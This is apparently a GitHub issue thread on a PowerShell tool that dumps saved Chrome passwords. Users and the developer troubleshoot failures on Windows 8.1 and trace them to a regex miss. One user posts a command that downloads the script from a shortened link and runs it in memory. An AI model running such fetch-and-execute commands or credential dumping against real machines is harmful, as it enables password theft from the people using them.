win8.1
Closed this issue · 10 comments
so been playing around with loading this using
IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/2nea8tb'); Get-ChromeCreds
works perfectly on win7 and win10 and returns data, but for some reason win8.1 fails, not using a special profile path
also is it possible to parse the username from the url
I actually developed this on a Win 8.1 system (sadly) so I'm not aware of any specific issue. Do you get any kind of error back? Can you get me some more info about the target system, like what version of PowerShell/.NET it has? Do other downloaded PowerShell modules work? Thanks!
As for parsing the username from URL, I wasn't able to because how SQLite works is that the data is entirely contiguous. Each entry looks something like URL, field name, username, then encrypted blob. You would need to actually read the file as a database in order to determine where the URL/field name/username fields started/stopped, as there's no magic bytes to work with. Therefore I won't be supporting it anytime in the near future.
i dont receive any data back from it when i run it either from download or directly from the .ps1
not sure of anything that would prevent it, i even tried putting the path as a variable and no change
chrome Version 56.0.2924.87
`PS C:> $PSVersionTable
Name Value
PSVersion 4.0
WSManStackVersion 3.0
SerializationVersion 1.1.0.1
CLRVersion 4.0.30319.34209
BuildVersion 6.3.9600.17400
PSCompatibleVersions {1.0, 2.0, 3.0, 4.0}
PSRemotingProtocolVersion 2.2`
Thanks, the easiest next step for me would be to provide me with the "Login Data" file so that I can try to reproduce the issue. However, I understand that this file may contain sensitive data you don't want to send to random people on the internet. If sending me the file isn't an option let me know, I'll figure something else out.
when i get to the office tomorrow ill try to create a new profile in chrome and add some creds and see if that works
I also tried this script on the VM, Chrome version 54.0.2840.99 m (64-bit)
Windows version:Windows 8.1 Enterprise . It returns an empty string nothing is seen. I have available creds on the Chrome. I created a new test user for the chrome so the user is not duplicate. These our my test results .
Looks like mine is Win 8.1 Pro, not Enterprise. Still, I highly doubt that would be the issue. I fully support xillwillx's idea of creating a new profile in Chrome for testing. I think the issue is either objection creation related, or a regex miss. If possible please send me the "Login Data" file for a machine where the script does not work. I will know for sure once I can get a look at one of these files. Thanks!
sorry it took so long to get back , I was out of the office yesterday. So i created a new profile and it worked. The LastPass extension is the cause of it not dumping the passwords, because i enabled that in the new profile and BrowserGather failed when i retested after enabling LastPass. @aeg12345 might have a different issue
That is seriously weird, because I also use LastPass and had it active during the entire development! I have no idea why it would be affecting your ability to dump Chrome's local credentials. Can you confirm the Login Data file is unchanged before and after enabling LastPass? Hashing or looking at Time Modified should be sufficient.
Edit: One other thing, can you try running the cmdlet Get-ChromeCreds | Format-List * ? Thanks!
I think I figured out what the issue was. Testing during the cookie extraction phase revealed a regex miss in the credential extraction portion. I have updated the regex accordingly. This should fix the issue, if you have any other issues please let me know, thanks!